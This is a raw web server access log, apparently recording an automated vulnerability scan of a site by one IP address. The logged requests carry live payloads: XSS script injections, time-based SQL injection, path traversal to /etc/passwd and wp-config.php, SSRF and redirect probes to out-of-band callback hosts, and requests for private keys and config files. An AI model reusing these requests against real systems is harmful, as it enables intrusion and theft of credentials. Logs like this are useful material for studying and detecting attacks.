[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/iwp-client/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //by.html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/portrait-archiv-shop/js/imageDetails.php?pDetails=);});%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/images/Logo.png HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/jsp/index.html HTTP/1.1" 226
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/lifterlms/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1%27%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5202%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%28SLEEP%286%29%29%29yRVR%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%27dwQZ%27%2F%2A%2A%2FLIKE%2F%2A%2A%2F%27dwQZ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/prostore/go.php?https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/qwiz-online-quizzes-and-flashcards/registration_complete.php?qname=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/wwtest/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/haberadam/api/mobile-info.php?id HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/ambience/thumb.php?src=%3Cbody%20onload%3Dalert(1)%3E.jpg HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/arforms/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AirWatch/Login HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gtranslate/url_addon/gtranslate.php?glang=en&gurl=/www.pluginvulnerabilities.com HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/XUI/Login HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/rss-functions.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Grimag/go.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/gallery-plugin/upload/php.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //laravel-graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //backup.sh HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Modules/CMS/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?aiowpsec_do_log_out=1&after_logout=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slr/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //old_phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ct_keyword=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E&ct_city=0&ct_state=0&ct_zipcode=0&search-listings=true&ct_property_type=0&ct_beds=0&ct_baths=0&ct_price_from&ct_price_to HTTP/1.1" 3426
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sfwd-lms/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/setup-config.php?step=1 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%22%3E%3Cscript%3Ealert(`document.domain`)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-with-map/?status&keyword=%22%3E%3Cimg%20src=x%20onerror=(alert)(document.domain);//%22 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://mail/ HTTP/1.1" 226
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/securimage-wp/siwp_test.php/%22/%3E%3Cscript%3Ealert(1);%3C/script%3E?tested=1 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/1-flash-gallery/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/backends HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/email-subscribers HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-app.log HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wordpress/debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/qards/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/oembed/1.0/proxy?url=http://d5g6sfahausljekepl20xx6ihrhjawzsx.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/readme.html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.wgetrc HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile-app/v3/?pid=77A89299&isMobile=%20clq95%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Elb1ra HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/modules/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/install.php?step=1 HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws-config.example.json HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.wp-config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-cli.yml HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/smart-manager-for-wp-e-commerce/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ellipsis-human-presence-technology/inc/protected-forms-table.php?page=%22%20%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/apps/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/super-forms/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/sym404/root/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/nextgen-gallery/nggallery.php?test-head=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordpress-popup/views/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tutor/views/pages/instructors.php?sub_page=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/mc4wp-debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/exportAjax.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //trade.kingston.com.hk:443.sql HTTP/1.1" 199
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wptouch_switch=desktop&redirect=http://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wps_pages_page&type=1&ID=1+AND+(SELECT+*+from+(select+SLEEP(6))a) HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927409541 HTTP/1.1" -
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /uapim/upload/grouptemplet?groupid=4&fileType=jsp HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/template/Login.vm HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://mail:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yarn.lock HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default/view.html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/reg HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cluster/cluster HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/data.txt HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/websocket/index.xhtml HTTP/1.1" 226
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ServiceDispatcherServlet HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/test/backend/connection HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aim/equipmap/accept.jsp HTTP/1.1" 196
